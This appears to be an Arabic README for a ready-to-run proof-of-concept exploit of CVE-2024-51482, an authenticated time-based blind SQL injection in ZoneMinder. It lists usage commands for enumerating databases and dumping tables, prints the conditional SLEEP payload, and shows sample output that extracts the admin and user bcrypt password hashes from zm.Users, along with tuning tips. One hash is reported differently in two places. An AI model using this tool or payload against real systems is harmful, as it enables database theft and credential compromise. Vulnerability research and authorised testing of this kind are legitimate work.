
PoC مصادق عليه لحقن SQL أعمى قائم على الوقت لـ ZoneMinder CVE-2024-51482 (v1.37.* <= 1.37.64)
استغلال حقن SQL أعمى قائم على الوقت مع مصادقة لـ ZoneMinder v1.37. <= 1.37.64*
هذا هو إثبات مفهوم لاستغلال CVE-2024-51482، وهي ثغرة حقن SQL أعمى قائم على الوقت في وظيفة إدارة الأحداث في ZoneMinder. يتطلب الاستغلال مصادقة ويستخدم استعلامات SLEEP الشرطية لاستخراج البيانات من قاعدة البيانات.
pip install requests
python3 poc.py -t example.local -u admin -p password
python3 poc.py -t example.local --cookie 'ZMSESSID_value'
python3 poc.py -t example.local -u admin -p password -v
python3 poc.py -t example.local -u admin -p password --dbs
python3 poc.py -t example.local -u admin -p password -D zm --tables
python3 poc.py -t example.local -u admin -p password -D zm -T Users --columns
python3 poc.py -t example.local -u admin -p password -D zm -T Users --dump
إلزامي:
-t, --target TARGET عنوان الهدف (IP، اسم مضيف، أو رابط كامل)
المصادقة:
-u, --username USERNAME اسم المستخدم للمصادقة
-p, --password PASSWORD كلمة المرور للمصادقة
--cookie COOKIE كوكي الجلسة (ZMSESSID)
التعداد:
--dbs تعداد قواعد البيانات
-D, --database DATABASE قاعدة البيانات المراد استخدامها
--tables تعداد الجداول
-T, --table TABLE الجدول المراد استخدامه
--columns تعداد الأعمدة
--dump تفريغ بيانات الجدول
الأداء:
--delay DELAY وقت التأخير بالثواني (الافتراضي: 3، آمن)
--threads THREADS عدد الخيوط (الافتراضي: 5، آمن)
-v, --verbose إظهار تقدم الاستخراج
python3 poc.py -t example.local -u admin -p password --delay 3 --threads 5
python3 poc.py -t example.local -u admin -p password --delay 1 --threads 20
[*] Target: http://example.local
[*] Delay: 3s | Threads: 5
[+] Authenticated as admin
[*] Testing vulnerability...
[+] Target is VULNERABLE!
[*] Default mode: Dumping zm.Users credentials...
[*] Dumping data from 'zm.Users'...
[+] Extracted: admin
[+] Extracted: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Extracted: john
[+] Extracted: $2y$10$prZGnazejKcaLq9bKNexXOglBSqOl1hq07LW7AJ/QNqZolbXKfFG.
====================================================================================
| Username | Password |
====================================================================================
| admin | $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm |
| john | $2y$10$prABlsrtyjkiWv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG. |
====================================================================================
[+] 2 entries dumped
يستخدم الاستغلال SLEEP الشرطي:
1 AND (SELECT 1 FROM (SELECT(SLEEP(3-(IF(condition,0,3)))))test)
إذا حصلت على أحرف خاطئة (مثل أن يصبح $ إلى 8):
# قم بزيادة التأخير وتقليل عدد الخيوط
python3 poc.py -t example.local -u admin -p password --delay 4 --threads 3
إذا كان الاستخراج بطيئًا جدًا:
# قم بتقليل التأخير وزيادة عدد الخيوط (قد تقل الدقة)
python3 poc.py -t example.local -u admin -p password --delay 2 --threads 10
إذا كان الجدول الافتراضي zm.Users غير موجود:
# قم بتعداد قواعد البيانات أولاً
python3 poc.py -t example.local -u admin -p password --dbs
# ثم قم بتعداد الجداول
python3 poc.py -t example.local -u admin -p password -D database_name --tables
هذه الأداة مخصصة لأغراض الاختبارات الأمنية التعليمية والمرخصة فقط.
هذا المشروع مقدم للأغراض التعليمية فقط. استخدمه بمسؤولية وأخلاقية.
⭐ إذا وجدت هذا مفيدًا، يرجى وضع نجمة للمستودع!